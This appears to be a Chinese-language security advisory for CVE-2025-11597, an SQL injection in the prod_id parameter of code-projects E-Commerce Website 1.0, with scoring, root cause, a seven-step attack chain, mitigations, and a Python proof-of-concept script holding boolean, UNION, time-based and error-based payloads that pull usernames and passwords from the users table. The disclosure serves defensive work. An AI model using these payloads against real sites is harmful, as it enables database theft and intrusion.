IPBUF安全漏洞报告
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CVE-2025-11597 CVSS 6.3 中危

CVE-2025-11597:code-projects E-Commerce Website SQL注入漏洞

披露日期: 2025-10-11

漏洞信息

漏洞编号
CVE-2025-11597
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects E-Commerce Website

相关标签

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漏洞概述

CVE-2025-11597是code-projects E-Commerce Website 1.0版本中存在的一个SQL注入漏洞。该漏洞于2025年10月11日被披露,由[email protected]发现并报告。漏洞位于应用程序的/pages/product_add_qty.php文件中,具体涉及对prod_id参数的处理逻辑存在缺陷,攻击者可以通过构造恶意的SQL语句注入到该参数中,从而实现对后端数据库的未授权操作。

根据CVSS 3.1评分体系,该漏洞评分为6.3分,属于中等严重级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。该漏洞对机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L),表明攻击者可以读取、修改部分数据库内容,并可能对数据库服务的可用性造成一定影响。

由于该漏洞的利用代码已公开披露,攻击者可以较为容易地利用此漏洞发起攻击。受影响的系统主要部署在各类电子商务网站环境中,存储有商品信息、用户数据等敏感内容,一旦被利用可能导致数据泄露、数据篡改等安全问题。该漏洞的发现者已在GitHub上发布了详细的技术报告,引起了安全社区的广泛关注。

技术细节

该SQL注入漏洞的根因在于/pages/product_add_qty.php文件中对prod_id参数的处理未进行充分的输入验证和参数化处理。在正常的业务逻辑中,该参数用于标识用户希望添加到购物车的商品ID,程序应将其直接传递给数据库查询语句。然而,由于开发者未使用预处理语句(Prepared Statements)或参数化查询,而是直接将用户输入拼接到SQL语句中,导致攻击者可以通过注入恶意SQL片段来改变原始查询的语义。

攻击者可以通过构造类似以下形式的恶意payload进行利用:在prod_id参数中注入' OR '1'='1等SQL片段,或使用UNION SELECT语句来提取数据库中的敏感信息(如管理员凭据、用户个人信息等)。更高级的攻击方式包括使用时间盲注(Time-based Blind SQLi)或布尔盲注(Boolean-based Blind SQLi)来逐步推断数据库结构和内容。

由于该漏洞需要低权限(PR:L)即可利用,攻击者可能需要先获取一个普通用户账户,然后利用该漏洞提升权限或获取敏感数据。漏洞利用过程完全在网络层面完成,无需用户交互,因此可以自动化批量攻击。公开的PoC代码进一步降低了利用门槛,使得该漏洞的实际威胁等级有所提升。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan等工具识别运行code-projects E-Commerce Website 1.0的目标网站,并确认/pages/product_add_qty.php端点存在。
STEP 2
步骤2:获取低权限账户
由于漏洞利用需要低权限(PR:L),攻击者通过注册功能或购买凭证等方式获取普通用户账户。
STEP 3
步骤3:登录认证
使用获取的账户凭据登录系统,获取有效的会话Cookie。
STEP 4
步骤4:构造SQL注入Payload
针对prod_id参数构造恶意SQL注入语句,如UNION SELECT、布尔盲注或时间盲注payload。
STEP 5
步骤5:发送恶意请求
通过认证后的会话向/pages/product_add_qty.php发送包含恶意prod_id参数的请求。
STEP 6
步骤6:提取数据库信息
利用SQL注入漏洞从数据库中提取管理员凭据、用户个人信息、商品数据等敏感内容。
STEP 7
步骤7:权限提升与持久化
利用获取的管理员凭据登录后台管理系统,提升权限并植入后门,实现对系统的持久控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11597 SQL Injection PoC # Target: code-projects E-Commerce Website 1.0 # Vulnerable file: /pages/product_add_qty.php # Vulnerable parameter: prod_id import requests TARGET_URL = "http://target-site.com" VULNERABLE_ENDPOINT = "/pages/product_add_qty.php" # Authentication credentials (low privilege required) USERNAME = "test_user" PASSWORD = "test_password" def exploit_sql_injection(target_url, endpoint, prod_id_payload): """ Exploit SQL injection in prod_id parameter of product_add_qty.php """ session = requests.Session() # Step 1: Login to obtain session cookie (low privilege) login_url = f"{target_url}/pages/login.php" login_data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Send malicious request with SQL injection payload inject_url = f"{target_url}{endpoint}" params = { "prod_id": prod_id_payload } response = session.get(inject_url, params=params) return response.text # Example payloads if __name__ == "__main__": # Payload 1: Boolean-based blind SQL injection payload1 = "1' AND 1=1-- -" print("[+] Testing boolean-based blind SQLi...") result1 = exploit_sql_injection(TARGET_URL, VULNERABLE_ENDPOINT, payload1) # Payload 2: UNION-based SQL injection to extract data payload2 = "1' UNION SELECT 1,username,password,4 FROM users-- -" print("[+] Testing UNION-based SQLi...") result2 = exploit_sql_injection(TARGET_URL, VULNERABLE_ENDPOINT, payload2) # Payload 3: Time-based blind SQL injection payload3 = "1' AND SLEEP(5)-- -" print("[+] Testing time-based blind SQLi...") result3 = exploit_sql_injection(TARGET_URL, VULNERABLE_ENDPOINT, payload3) # Payload 4: Error-based SQL injection payload4 = "1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))-- -" print("[+] Testing error-based SQLi...") result4 = exploit_sql_injection(TARGET_URL, VULNERABLE_ENDPOINT, payload4) print("[+] Exploitation complete. Review server responses for extracted data.")

影响范围

code-projects E-Commerce Website 1.0

防御指南

临时缓解措施
在等待官方修复补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)规则临时拦截包含SQL注入特征的请求,如对prod_id参数进行正则表达式过滤,阻止包含UNION、SELECT、SLEEP等关键字的恶意请求;2)修改源代码,对/pages/product_add_qty.php文件中的prod_id参数进行强制类型转换(如转换为整数),确保其只能接受数字值;3)暂时禁用该功能模块或限制其访问权限,仅允许可信IP地址访问;4)加强数据库监控,配置异常查询告警规则,及时发现可能的攻击行为;5)重置所有数据库账户密码,特别是管理员账户密码,以防止凭据已被窃取的情况。

参考链接

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